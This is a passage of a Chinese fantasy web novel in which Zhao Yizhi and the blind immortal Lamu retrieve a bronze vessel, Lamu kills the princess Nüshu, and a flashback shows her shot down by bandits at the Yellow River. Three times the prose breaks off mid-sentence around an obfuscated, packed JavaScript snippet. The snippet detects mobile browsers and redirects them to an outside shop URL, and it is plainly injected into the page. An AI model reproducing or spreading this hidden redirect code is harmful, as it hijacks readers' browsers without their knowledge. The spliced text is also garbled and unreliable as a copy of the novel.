一只手,用力搭在赵义之的肩上,将他猛地往后拉。与此同时,一根棍子由天而降,从女人的头顶插下来,连带着拉姆的胸膛一起被贯穿。令人作呕的人头与拉姆的身体同时凝固、褪色,最后变成大火焚烧过后的黑碳,在棍子抽离的同时塌成灰烬。 “你还好吗?”是拉姆略带分毫焦急的嗓音。 赵义之颤颤巍巍仰起头,看见拉姆灰白色的眼睛的瞬间鼻头一酸,差点没出息的哭出来。他扑上去紧紧抱住拉姆的大腿,大喊:“大佬!我们回去就缔结契约!我给你当执行者!当一辈子!” 拉姆拍拍他的后背以示安慰:“我来对付那些东西,你集中注意想白天。” “那些东西?”赵义之这才发现自己身边不知什么时候已经围满阴森可怖的灵体,吓得他一扑腾,“我靠!” 罪过,脏话与帅哥不匹配。 “不能用之前在博物馆里对付阿卡夏的那种黑球或白球吗?”现在有个气定神闲的拉姆在身边,赵义之没有刚才那么害怕了。 “不能。”拉姆十分干脆地拒绝了,没给赵义之半点希望。 不能就不能吧。赵义之盘好腿打坐,闭上双眼深吸一口气平复激动的心情,在脑中形成明日孟涂的人马路过此地的景象。不到半分钟,他心里忽然对拉姆要做什么产生了好奇,于是偷偷睁开一只眼。 背对着赵义之站在前面的拉姆像是有感觉般,竟伸出左手挡在他眼前:“专心。” 透过指缝,赵义之看见广阔的平原变成了之前见过的祭坛,而他与拉姆此刻正身处祭坛之上,两臂之外是用来煮肉的青铜大鼎。他重新闭上双眼认真调动心念,完全不担心被当做人牲献祭。 拉姆右手拿着青铜杖,左手松开力气自然垂在体侧。眼前所谓的怨灵数量虽然多,但好在不算太难搞,再加上他手中还有祝祭的鸠杖,只要赵义之别像先前那样乱跑,事情解决起来并不麻烦。 他像是眼睛能看见一般环顾面前正对着他和赵义之伏地跪拜的鬼影,举起的青铜杖又再次放下。偏偏就是他这一念之间的仁慈,让刚才化为灰烬的女人得到重新具合出身体的机会。 感觉到身后的气息,拉姆横过青铜杖向后捅去。女人灵敏地躲开,也正好远离了赵义之。 跪拜的鬼影眨眼间恢复站立的动作,一顿一顿地慢慢朝右边歪下头,直到颈骨断裂、脑袋翻转一百八十度掉在胸前才停止。 “我的眼睛……好吃吗?” 女人的声音在拉姆耳畔响起,近得,像在说悄悄话。 “你的眼睛……好吃吗?” 女人腐烂的手从拉姆背后缓缓摸上来,尖细的手指宛如冰镩,顺着肩膀、脖子,抚上脸颊。 拉姆蹙起眉,右手拿着青铜杖甩出一个棍花,猛地拍向自己后背,借着青铜鸠杖对怨灵自带的几分威慑再次将女人打散。 就在散如灰烬的女人重具身体朝拉姆冲来准备发起攻击时,夜晚总算过去了。 睁开眼看见天色放晴的赵义之长舒一口气,伸了个懒腰抬头望着拉姆:“昨晚到底怎么回事,你怎么突然就……就换成那个女鬼了?” 脸上被女人摸过的地方仍旧留着剧烈的灼烧感,这是之前不曾出现过的情况,拉姆轻轻触碰疼痛的脸颊,不自觉皱起眉头。 “我问你话呢。”赵义之拽了拽拉姆的裤腿,“拉姆。” 拉姆垂下手,低头转来:“怎么了?” “我问你昨天晚上是怎么回事,我明明抓住的是你,什么时候变成那个女鬼了?” “你一开始就抓错人了,我叫不住。” “啊这……”赵义之面露尴尬。 “他们来了。” 从孟涂宫殿出发的队伍已经出现在他们身后的远处,马蹄踏出的震动没多久便透过大地传过来。赵义之站起身,拍拍裤腿上的泥土,与拉姆并肩站在路中央。 “只有我们两个人,会不会显得太刻意了?”赵义之问。 拉姆不由自主再次抬手抚摸着灼痛的脸:“就像改变早晚那样,在身后设一个大坑的陷阱。” 赵义之瞬间明白拉姆的用意,笑起来:“没问题,保证够大。” “别让他们看出来。” 将想象具现化听起来似乎很容易,可一旦有了“要将它实体化”的杂念混在里面,就很难再继续保持绝对的专注,这也是为什么第一次的星空来的那么容易,白天却费了他一番功夫的原因。 而越是具体的东西,实现起来就越难。 为了集中注意力,赵义之甚至要用手将耳朵堵起来才行。 拉姆微微侧头,像是看了身边的赵义之一眼。 骑马走在队伍最前面的子良远远看见赵义之与拉姆,不禁蹙起眉头——哪有山贼劫人是这般大摇大摆的,不是明摆着告诉别人这当中有诈么?他装作回头看后面的坐着女叔与侍女的马车,实则暗中观察送行队伍中的其他人。 护送的侍卫并非全是他的心腹。 “我们已经到商方的地界了。”子良大声说道,也是在提醒女叔做好准备。 马车中的女叔撩开垂帘,探出脑袋朝外望,末了又缩回去,放下手捂住心口。她心脏砰砰直打鼓,好几个深呼吸后才总算平复一些。 “子良。”一名侍卫驱马靠近,问子良道,“前面有两个可疑人,要不要我前去问问?” “轰他们走开。”子良不得不答应。 “是。”侍卫快马朝前面两人跑去。 侍卫跑至半途,手捂耳朵的男人忽然睁开紧闭的双眼,面带喜色和旁边的人说了句话,于是那两人便一同让出道路朝山丘上走。侍卫见此便勒停身下的马,调转头回到队伍中。 子良疑惑地看着赵义之和拉姆,换来的是赵义之回眸后的一个挑眉。 下个刹那,他与走在前面的侍卫便连人带马掉进坑里。 赵义之大跨着步子从山丘上飞奔向及时停下的马车,高声喊道:“对不住啦兄弟,公主我带走了!” 坑里的子良浑身狼狈,佯装着急:“快!拦下他们!” 马车夫拔出腰间的短剑刺向赵义之,被突然出现的拉姆拿青铜杖一档,脱手掉在地上。赵义之掀开门帘,看见马车内护在女叔身前的少女,不禁愣住。 她正是昨晚站在草丛间摇晃身体的怨灵之一。 “你们是谁!”神色紧张的女叔厉声质问,却也是在提醒赵义之。 声音将愣神的赵义之拉回来。他咬咬牙,钻进马车推开侍女,拽住女叔的手臂强硬地将她拖下了马车。 此时拉姆被车夫一脚踹倒,赵义之赶忙撞开马夫去扶拉姆。拉姆刚起身还未站稳,车内的侍女又已经跳下来,紧紧握住女叔的手要将她抢回去。右手环过女叔的腰把她揽入怀中,左手抓住拉姆的赵义之不得已,只得用脚踹开侍女。 “对不住。”他对侍女说倒,随后又大喊一声,“快走!” 拉姆应声反应,往前跨出一步。 身边景物随之模糊,继而化作无数流星飞过三人身边。奈何此刻双手皆不得空,不然还能再抓一颗来看看,赵义之有些遗憾。 初见此情景的女叔十分惊讶,这一次她是发自肺腑地问:“你们……究竟是什么人?莫非是神……” 赵义之冲她微笑:“两个绝世大好人。” 流星飞逝的速度逐渐变得缓慢,最后全都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17294732|197901||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 停下来。直到明亮、发白的星星全都融为一体,周围才又再次出现景致。 只是这里并非昨日与子良说好的祭坛,而是黄河边。 褐黄的土地被河水的气息浸满,连风都带着湿润。河中的水流算不上特别湍急,但平缓的河面上泛着的粼粼波光,仍旧告诉窥探它的人:它并不如表面那般平静乖巧。 “怎么来黄河边了?”最先发出疑问的是赵义之。 同样,女叔也对此感到困惑:“昨日哥哥是说走山路回孟涂,要在那里留下记号。” 拉姆一言不发,高高举起青铜鸠杖,朝女叔挥去。 赵义之下意识将女叔护在怀中,转身拿自己的后背去迎接拉姆的攻击。好在等待中的敲击并没有到来,来的是拉姆清冷淡漠的声音:“让开。” 他回头看向拉姆,见对方神情认真不带半点多余的情绪,不禁松开抱住女叔的手臂。不过很快,他回过身将女叔藏在背后,正面迎着拉姆:“你这是什么意思?我们不是要救下女叔吗?” “让开。”拉姆高举起青铜杖的手并没有放下来,反而步步往前逼近。 “你、你们竟然欺骗了我和哥哥!”女叔的声音中带着惊恐和哭腔。 “没有,我们没骗你们,这当中肯定有误会。”赵义之步履不移地挡在女叔面前,完全不明白拉姆这一举动的用意,“拉姆,别动手,我们不是要救她吗。” 拉姆的语气和表情都没有变化:“让开。” 赵义之能感觉到身后的女叔正害怕得在发抖。拉姆和阴女,都是赵义之愿意毫无保留信任的两人——姑且称之为人。所以当他们两人站在对立面,需要他做出选择的时候,他只能相信自己的直觉: 拉姆一定是被侍女的怨灵附体了。 他偷偷将右手挪到背后,牵住了女叔,深吸一口气,喊道:“跑!” 话音落下的同时,赵义之牵着女叔转身拔腿就跑。他不会拉姆的飞速前行,只能凭借自己拼命交替的双腿尽量拉开距离。 女叔用空出来的右手提着裙子:“你要带我去哪里?” “不知道,先跑。” 拉姆放下举着青铜杖的手,面朝赵义之与女叔逃跑的方向。他握着青铜杖的手暗暗攥紧,往前迈出一步,下个瞬间,就已经追上两人。 他挥起鸠杖对着女叔的后腰猛地一刺。 “啊!”几乎是在惨叫出声的同时,女叔滑脱赵义之的手摔在地上。 由于跑得太快,赵义之往前冲了几步才停下。他立即回头准备重新拉起女叔的手,却见到拉姆已然站在她身旁,举起青铜杖。 “别杀我,救救我……”趴在地面的女叔满脸是泪,眼中是最真实的害怕与绝望。后背的伤让她的下半身失去知觉,唯有还能抬起的手朝赵义之伸去,祈求他能赶在死神之前救下自己。 可是拉姆手中的青铜杖没有给她或是他任何机会,笔直地、重重地,落在她的后背,戳进泥土里。 “你在干什么!”赵义之冲过来用力推开拉姆,“为什么要伤害她?!” 青铜手杖被留在原处——女叔的尸体上。 想扶起女叔查看伤势的赵义之彻底愣住,许久之后才抬头看向拉姆:“你为什么要杀阴女?我们不是要救她吗,你为什么把她杀了?!” 拉姆没有为自己做任何辩解,只是默默站起身,走过来。 赵义之横跨一步挡在他面前愤怒地瞪着双眼,不让他靠近女叔。 他不是个容易生气的人,但也不是个不生气的人。 “你真的是拉姆?!” “我是。” “那你给我一个理由。”赵义之拔出女叔身体上的青铜杖,用其指着拉姆,“为什么要杀阴女?” 26.礼 或许是赵义之高估了自己和拉姆的关系,以为对方会像自己一样毫无保留。 然而拉姆却用行动告诉他:你以为只是你以为。 “她的命就是如此。”拉姆越过赵义之走向女叔,弯腰抱起她的尸体,扔进黄河。 赵义之觉得此刻举着青铜杖的自己宛如一个笑话。 “本位出现了。”拉姆出声叫赵义之,“去祭坛。”他说完往前走了几步,感觉到赵义之没跟上来,于是停下脚步疑惑地回头,问道,“怎么了?” 还问他怎么了。沉浸在情绪中的赵义之深吸口气。拉姆不是清冷,是冷血。他今天能毫不犹豫地杀阴女,来日是不是就能无情地杀他?赵义之没有生气,更多的是幡然醒悟,和畏惧。 “没怎么,走吧。”赵义之转过身,随手把青铜杖塞给拉姆。 拉姆低头“看向”被赵义之硬塞过来的青铜鸠杖,心中闪过一丝困惑。然而他没想过深究答案,空出一只手抓住赵义之,往前迈步。 赵义之双手插在宽松的牛仔裤兜里,脑袋歪在一旁,显然一副心里不爽的模样,纵然身旁飞过无数星星,也没有伸手抓一颗。此刻,他对拉姆的过去失去兴趣。 来到最初下黄河底的地方,祭坛之上鼎下的柴火已经熄灭,那里面蒸制的牛羊也已熟透,散发着令人垂涎欲滴的香味。这样的肉质,若是直接架在火上烧烤,恐怕味道会更诱人。赵义之不禁这般想。如今的他,眼前的他,已经不需要任何食物了,虽然省事不少,倒也着实无趣了些。 拉姆松开手,对赵义之说:“一年后,这里将会举行祭祀活动,使用的礼器正是青铜甗。而那个时候,本位也会出现。” “跟我说这些干嘛?”赵义之的态度有些冷淡。 “现在需要你来搭建一年后的情况。” “你不是会划加速时间的阵吗,用不着我吧。” 拉姆有些纳闷,不禁微微蹙起眉头:“那个阵不如你,膨胀一年还是得花点时间。” 赵义之这才不情愿地回头看了看拉姆,闭上眼睛。 双目失明的拉姆看不到赵义之脸上的神情,在等赵义之那边构建结束前,他有足够的时间解决脸上的灼痛——本该是这样。 他很特殊,这并非自负或是什么,而是事实。正如阿卡夏所说,他们是不灭的,无论受多么严重的伤,只要稍作休息便能康复,不会生病,没有死亡, 之所以他的眼睛失明未恢复,是因为他自己主动舍弃了视觉。 然而,自从被怨灵触碰过,拉姆脸上如火炙烤般的小小疼痛丝毫没有减轻。 这种事从未出现过。 有什么东西和以前不一样了。 咚。 鼓声响起。 随着赵义之聚精会神的联想,原本空寥的祭坛上出现了为数不多的几个人影。 这次的祭祀并没有他们之前所见的那么隆重,作为祭品的肉也不过是一颗鹿的心脏。空手而来的祝祭面朝放有鹿心的案桌,高举双臂朝天吟唱祝辞。调子,和阴女在车上轻哼的一样。 只是阴女哼的没有词,而祝祭却用浑厚的嗓音唱起古老的语言。 赵义之依旧保持着双手插在裤兜里,见拉姆半天没动静,便转过头去看着他,提醒道:“你不是说本位出现了,在哪儿?” “被拿走鸠杖的祝祭就是本位。”拉姆走到祝祭面前,“你忘了这个。” 脸上带着青铜面具的祝祭身体一顿,转头看向身边像是突然出现的拉姆,这才接过手杖。 便就在拉姆松手的霎时间,茧房消失了,周遭的一切又变为最初库的样子。 刚现身的年轻男子们没有半分迟疑,杀气汹汹朝两人扑来,赵义之下意识伸手拽了拉姆一下,全然忘记刚遇到子良时,拉姆可是很轻易躲过了子良的攻击。 更忘记了自己还在不爽。 “我的想象力在茧房外有没有用?”赵义之一边围着祭坛遛人一边问。 “有,这里是一处信息库。”拉姆没有跟着赵义之一起跑,而是迎上举着长戈男子——挨了一刺。 “你别往他们面前跑啊!”赵义之看得着急,“找个地方躲起来!” 拉姆比赵义之更惊讶,他明明已经准确地感觉到对方攻击的趋势,可躲避的时候竟还是慢了一步。 见拉姆不听劝,赵义之跑过来挡在他面前,隔空一抓,手中便出现一支简易的臂张弩,随后朝正前方的男子扣下悬刀。其实换做手枪肯定更方便的,但赵义之刚才在脑海中费尽全力想象无数遍,却仍旧没能构建出来。 而眼下,时不待我。 “你别乱跑了,跟在我身后。”赵义之边说边给臂张弩装上新的箭,半点不敢耽搁。 “人类武器杀不了这些信息。”拉姆说。 赵义之勾起一边嘴角笑着说:“你不就杀了阴女。” 拉姆顿了顿,才说:“情况不同。” “现在怎么办?” 拉姆沉默了。这里的信息停在祭祀正在进行的时候,倘若他们没来,这些人便如沉睡的石雕般不会醒。可来了,比起继续进行仪式,这些人反而更在意他们的存在。 拉姆似乎想到什么,拿走赵义之手上的弩,凭借身体的感觉对着重新站起来的男人扣下悬刀:“唱祝辞,刚才茧房里祝祭唱的那首。” “你让我唱?”赵义之十分惊讶。一个瞎子拿弩射人,却让他去唱歌?再者,他根本没记住那首祝辞的内容。 “只有你唱才管用。” “我根本没记住怎么唱啊。” 拉姆手上的动作没有停:“读祝祭的信息。” 赵义之不想唱,纵使不想唱,可为了尽快拿回青铜甗,他不得不听从拉姆的建议。 “拿着。”他又给拉姆造出一只装有足量弩箭的筒塞给他,然后冲向祝祭,以身为饵引开守护在祝祭身边的男人。端着臂张弩的拉姆随之将驽头转向追着赵义之的男人,利落地射中他的心口。 默契的配合与上升的肾上腺素让赵义之暂时忘记了先前的不快。 “谢了!”赵义之调头再次朝祝祭跑去,沿途的障碍都被拉姆及时解决。 几乎是笔直地,赵义之借着奔跑的速度将祝祭扑倒在地。画面、声音,甚至连气味都一并传来,他索性闭上双眼放松身体,任由那些晦涩的诗句从嘴里飘出来。 “灼华女叔,之子孟涂,以得昭明,肃命河母;灼华女英,之子涂阿,静善始终,天朗融融;之子孟涂,涕泣简鼓,卬麀以祀,燎甗祚享。斗瑟黄流,簋簠肴肉,安乐塈息,嗣岁同受。” 在听见祝辞的刹那间,祝祭停止了挣扎。 这些来自三千年前的所有人,全部停止了动作。 拉姆端着弓弩的手臂垂下来,有些喘,手中的武器渐渐消失。他回头面朝祭台,那上面,终于出现了此行的目的;青铜甗。 “就是这个?”赵义之走过来,问。 “嗯。里面有阴女的记录。” “也有你杀阴女的原因?” 拉姆没说话。 “唉,好吧。”赵义之故作轻松,“就让我来审判审判你。” 他说着,伸手摸上青铜甗。 ———— 公元前126 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17303462|197901||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 6年,春。 车马辘辘行驶在颠簸的小道上,舆内的女叔不安地低头不语。 昨日,从殷都传来商敛王的诏书,要让她成为这次祭祀的人牲。如果不答应,等待孟涂的想必是一场注定失败的战争。她的父亲——涂阿王,没有拒绝的底气。 “子英。”侍女握住女叔颤抖的双手,两眼含泪,“你别怕。” 垂着脑袋的女叔抬起脸来看向身边的侍女,几度欲言又止。 侍女却好像自己做错事一般,连忙道歉:“对不起,是我话太多了。” “一会儿……”女叔艰难地开口。 侍女点点头,等着她吩咐。 仿佛是下定某种决心,女叔重新调整坐姿,让自己不必转头也能正视眼前的侍女:“一会儿马车停下的时候,你什么都不要管,赶紧跑。” 年纪比女叔小一岁的侍女歪歪脑袋,脸上的不解消失后,立刻义正言辞说道:“我不会跑的。我知道子英是在担心,怕商敛王扣押我们。但我已经下定决心要随子英一起去了。” 女叔反过来紧紧握住侍女的手,连连摇头:“不是的,不是的。你听我说——” 马车突然剧烈摇晃起来,紧接着便传来马蹄嘶鸣,舆内两名少女的身体因车马停得太急而往前摔倒。女叔立刻意识到,是哥哥部下假扮的盗贼拦住队伍,准备实行计划。 “子英。”侍女顾不上自己,扶起女叔的身体抱在怀中。 兵戎相见的铿锵之音在马车外此起彼伏,混杂着受伤之人的惨叫,光是听见,便足以令人感到害怕。尤其是如她们这般从未上过战场的人。 女叔愣了片刻,颤抖着推开侍女:“你快跑,有多远跑多远,不要回头。” “我不跑。”侍女抱得更紧了,“子英不跑我便不跑。” 门帘哗地一下被人从外面猛地掀开,吓得两个少女身姿一颤。 掀开帘子的是一名身材魁梧的男人,半张脸上几乎全是络腮胡。他在女叔和侍女身上打量片刻,挑中了衣着更显尊贵的女叔,伸手要将她拽下马车。 侍女扑上来用自己的身体挡住女叔,手上还不忘拍打男人。或许是被打痛了,男人用力抓住侍女的手腕,粗暴地将她扔出马车。 “小女!”女叔大喊着,身体也不由自主往外钻。 这正好给男人行了方便。他将女叔拉下马车,抗起她扔在马背上,随后自己也骑起上去,吹了个口哨,挥鞭抽马扬长而去。 “子英!”侍女从地上爬起来,跌跌撞撞往前追。 子良却从后面抓住她的手臂,眼睁睁看着女叔被带走。 “子良,你为什么要拦着我?”侍女想挣扎,奈何子良抓得实在太紧吗,“快去救子英啊!” “来不及了。”说完,他便将茫然无措的侍女带上马车。 劫走女叔的十余人并未躲入山丘,而是快马加鞭径直朝黄河奔去。察觉出不对劲的女叔几番挣扎,终于掉下马背。可还不等她站起来跑多远,那些骑马的男人便堵住她的去路,像吃饱的猛兽戏耍猎物一般围住她,不停发出恐吓的吼叫声。 此刻的女叔宛如一只受惊的笼中鸟,拼命想逃离。 “你们不是孟涂的人,你们是谁?!”她质问的声音在发抖,可还是像嘶吼般声色俱厉。 “孟涂王的女儿,子英。”抓住她的那个络腮胡说道,“如你面对商敛王时也敢这般强势,兴许便不必被拿来当做人牲了。我愿意饶你一命,只要你肯当我的奴隶。” 这些人不是哥哥的部下,而是真正的贼匪。明白过来的女叔顿时脸色煞白,全身止不住地发抖。 27.河中的白骨 活人祭祀并不是什么大不了的事,甚至连享受烹饪好的人肉也实属常见。 她生于的,就是这样一个时代。 渐渐的,有人开始反抗,于是也学着吃人的王权贵族,建立以自己为主的新部落。但是他们需要有人来为自己做事,便开始希望壮大,或是以利以好,或是施暴施压,子民、奴隶渐渐全都有了。然后他们发现,原来拥有权力是如此美妙的一件事。 最后,他们也开始吃人。 成为奴隶便意味着很可能将被眼前的男人们分食殆尽,表面意义上的分食。 那还不如成为人牲,将自己献给神。 此处离黄河已是不远了,只需再往前两里路,她就可以摆脱这些贼匪。女叔抹去脸上的眼泪,环顾四周,瞅准两匹马之间的空隙迅速冲过去,拔下头上骨头发钗狠狠戳进马匹的眼睛。 马背上的人打从心底小瞧她,毫无戒备。马儿痛得发狂,不顾背上主人的驾驭,在平原上颠颠儿乱窜。 女叔拔腿就跑。 长满络腮胡的男子盯着女叔的背影,并未急着追赶,而是拿来挂在马侧身的弓箭,拉开满弦,朝女叔射去。 嘣。 离弦之箭穿风而过,击碎女叔左边的肩胛骨刺进肉里,强劲的力道让她整个人往前扑倒在地。 疼痛使她几乎就此放弃,可想到若是落入贼匪手中定有受不尽的苦头,便又强撑着发软的身体站起来,踉跄往前跑。汗水湿透了她的衣裳,她开始止不住地发抖,脸上感受到的冰凉宛若是从骨头里散发出来的,比二月里的春风还要令她觉得冷。 男人不禁对这位高贵的王女产生一丝兴趣。他拿着弓箭下了马,慢慢跟在她身后,待距离拉远才射出不致命的一箭,眼睁睁看着女叔身体不支再次摔倒,哈哈大笑。 其他也有几人跳下马,抓起挂在马上的弓箭兴致冲冲追上来:“谁的箭射死她,谁今晚没酒喝!” “好哇!”说着,这人便将箭头指向女叔的腿,射出去。 跌倒的女叔引来男人们亢奋的笑声。他们毫不掩饰自己的暴虐,甚至以此为荣、互相攀比,将此当做自己的本事来炫耀。 或许是身体承受的疼痛已经达到极限,反而开始麻木,女叔拖着受伤的腿比之前跑得要快一些。黄河在前方不远处,她已是可以听见它发出的声音了,沾满混着泪水的泥土的脸上露出淡淡的微笑,脚步也变得轻盈许多。 死,没有那么可怕。 络腮胡男人拉开弓,朝她未受伤的那条腿射出箭。偏了,箭扎入泥土地里。 “可惜了。”旁边的男人笑道,“大哥难得有失手的时候。莫非是不忍心了?” “那你试试?” “我可不会心疼她。”男人说罢便拉满弓弦,不偏不倚射中女叔的大腿。他得意地看向络腮胡,哈哈大笑,“今晚的酒,我得多喝几杯。” 另一人举弓瞄准半天,皱眉抱怨起来:“她背后插满了箭,这哪里还有下手的地方。” 络腮胡安慰他:“背后没有,就去正面找找。” 这句话成为了激起浪花的石头,迅速点燃男人们残忍的斗志。他们折回找到自己的马飞身骑上去,一声高喝便去追女叔。 黄河已然近在眼前,明明是赴死,女叔却觉得心里莫名有了希望。那浑浊的河水此刻早已不是吞噬生命的死路,而是去往安息之地的圣河,是母亲的怀抱,是神的抚摸。 眼瞧着快要错失良机的男人们为了让马儿跑得再快一些,不断挥舞手中的鞭子用力抽打。被抛弃在后面的络腮胡从箭筒里抽出一支箭,抵在弦上,拉开弓对准女叔心窝的位置。 嘣。 急速飞驰的箭带起了风,越过策马奔腾的男人,在女叔即将跳下河岸的刹那间,扎进她的身体。 “吁——” 疾驰的快马被缰绳勒得高抬前脚,而女叔,终于带着欣喜回到母河温柔的身体中。 以为成功救下妹妹的子良如计,用保护孟涂的由头成功说服侍女,将她当做人牲送给商方。 然而就是祭祀刚结束的时候,商敛王不知从哪里得到消息,知道被自己吃入口中的并非孟涂真正的王女,便以违逆之罪将子良扣押在殷都,直至涂阿王病逝,才不得不放他回归故土。 昔日的子良成为涂良王,至死,也没能等回自己的妹妹。 “主人,河中好像有东西。” 身穿粗布小袖衣与长过膝盖的裤子,红棕色的头发随意散开,少女似乎并不注重自己的外表,浑身散发着野性。 她蹲在河岸边,指着黄河对身边的男人说:“是灵魂,人的灵魂。” 男人穿着白色的交领粗布长衫,裤子同样短了一截露出脚踝,金色的头发用布条绑着,站在河边弯腰望去,金色的双眸里满是好奇:“生物死后,灵魂便会回到亡者的世界,留下的只有记录。” 少女朝河中嗅了嗅,小巧的鼻尖随之微微抖动。她站起身子,十分确定地说:“那就是灵魂,我能闻到它的味道。不如,我去将它捞上来?” 拉姆寻思片刻,点头答应:“那你捞上来看看,究竟是信息还是灵魂。” 少女欢快地脱下鞋子、取下腰间鼓鼓的小布包,宛如一条小鱼儿般跳入黄河,循着鼻子嗅到的气味游向河床。果然,河床底下埋着一具插满箭矢的白骨,身上的衣衫历经多年已是破烂,几乎不复当时的华贵。少女抽走朽箭扒开泥土,捡起一块块白骨抱在怀里浮上水面。 “噗哈……”少女像小猫一样甩甩头,将怀中的白骨放上河岸,转头又扎进水里去捡剩下的骨头。 拉姆蹲在岸边上,将少女捡上来的骨头认真摆放成它们原本的模样。他拍去手上的污泥站起身,抬起头正好与漂浮于白骨之上的亡灵四目相对。亡灵脸上的表情格外平静,甚至带有几分木然。 少女一屁股坐在土地上,拿起鞋往自己脚上套:“就是灵魂。” 拉姆点头表示同意:“确实是灵魂。”接着他又感到困惑,“可为什么她的灵魂没有离开?” “我在下面看见好多箭。”少女穿好鞋跳起来,撩起衣摆拧干水,“她的衣服上也全是孔洞。” 刚才摆放骨头的时候拉姆也注意到,好多骨头都有裂痕。他不禁轻声叹口气,向亡灵靠近几步,温柔笑道:“你好,我是拉姆,她是我的跟屁虫——” 不等拉姆说完,少女叉着腰大声反驳:“主人,我说很多次了,我不是跟屁虫,是使者,您的使者!我叫西壬。” 拉姆无奈笑笑,继续对亡灵说:“如你所见,她是个精力十足的女孩。” “你呢,你叫什么?”西壬问。 亡灵木讷地转动脖子,目光涣散:“我不记得……” “你为什么在这里?”西壬抢先又问。 亡灵缓缓摇头:“我不记得……” 西壬露出为难的表情,抬头看向拉姆:“主人,这可怎么办?难道要让她就这么留在这里么,也太可怜了。我听说过,灵魂留在这边会变成异常物质,且不说亡者世界了,连那里都回不去。” 拉姆脸上的神色变了,不禁垂下眼帘思索起来。 西壬努努嘴,索性和亡灵攀谈起来:“你怎么死的?” “死……”亡灵歪了歪脑袋, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17314779|197901||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 仿佛不明白这个字的意思,“我不记得……” 西壬抱起手肘:“那你记得什么,说来我听听。” 亡灵的双唇动了动,随后缓缓吐出两个字:“哥……哥……” “你想见自己的哥哥?可你……”西壬低头看向地上的白骨,再次嗅了嗅味道,点点头说,“你都过世快一百年了,只怕你哥哥也早已去了亡者的世界,不在这边了。” 亡灵的两眼依旧没有神采:“哥哥……哥哥……哥哥……” 她口中反复呢喃着哥哥二字,无论西壬再和她说什么都给不出其他回应。 “主人,她想见自己的哥哥。” “我听见了。”拉姆走近亡灵跟前,抬手点上她眉间,“看着我的眼睛,我带你去亡者的世界。” 金色的眼睛逐渐变得沉静、深邃,仿佛其中藏着小小的宇宙,览含无穷星河。她不受控制地跌入,身边的光随之暗淡、消失,等回过神来时,已身处某处幽黑的隧道。她从未见过这样的地方,或许是因为不记得生前之事,又或许是因为别处没有,竟本能地往后退。 拉姆皱了下眉头,然后安慰道:“别害怕,走出隧道便能见到你的哥哥与其他亲人。” 亡灵却连连摇头,神色中浮起些许恐惧:“不,不……我不想去那里……” 这可让拉姆难办了,他收回僵在半空的手,低头看向仅有自己胸骨高的西壬,说:“不如,你来劝劝?” 西壬对着亡灵滔滔不绝说了一大堆,可再提起要送她走,那亡灵依旧是拒绝。于是西壬看看亡灵,又低头看看地上的白骨,忽地灵光一显:“主人,您是神,要不索性给她一次生命?我猜想,她弥留世间不愿意离开,许是因为没活够呢。” “可……”拉姆迟疑起来。他虽然能为活着的生物疗伤治病,却从未试过让死人复生,“我不是神,不能创造生命。” 少女没有读懂主人复杂的眼神,继续兴致勃勃地鼓动:“您当然是,有谁能像您一样不死呢。虽然您以前没有创造过生命,这次试试又何妨嘛,总好过丢下她不管。再说,反正我们也不赶时间。” 拉姆眼眸微垂,难得露出忧郁的模样,这与平日里总如阳光一般和煦的他相比,显得过于阴沉:“我不能创造生命。我所创造出来的生命……全都……” 见说服不了拉姆,西壬的小脑瓜子想了想,指着地上的白骨又说:“这也不算创造生命,白骨、灵魂,全都摆在这里,您只是将它们重新融合到一起。”她双掌啪地一拍,“活不活,还是得看她自己。” “我没试过,不知道怎么做。”拉姆被西壬说得心动,便对那亡灵说 ,“去亡者世界,你便能见到你的哥哥。留在这边,我也不知道接下来究竟会发生什么,灵魂融合白骨未必能成功。若是失败,你将变成什么样子,谁也不知道。” 她飘来拉姆面前:“不……不……” 西壬抱住拉姆的隔壁继续说:“要是让她变成异常物质,还不如试一试呢。如果能救死去的生命,或许您以后便不必再因为生命的逝去而悲伤了。” 拉姆再次向亡灵伸出的手,忽又在中途顿住。 真无趣。 原来你会变得和我一样,没什么特别的。 真无趣。 你,和你创造出来的乐园,都太无趣了。 这不是我想要的。 你不是我想要的。 一只巨大的手,掀起狂风暴雨…… “主人?”西壬举起手臂在拉姆眼前晃,“您发什么呆呀?” 拉姆眨两下眼睛,像是回过神:“就是想起了……以前。” 28.商殷之女 这一次,亡灵没有再躲避。 拉姆只是将手掌放在亡灵的胸前,她身上便浮起一根细如蚕丝般的红线黏在拉姆的中指尖。西壬见后一喜,又怕风大吹断了它,踮起脚尖小心拿手护着。拉姆亦是格外谨慎,慢慢将亡灵拉向地面上的白骨。 然后保持着半蹲的姿势,拉姆的动作停下了。 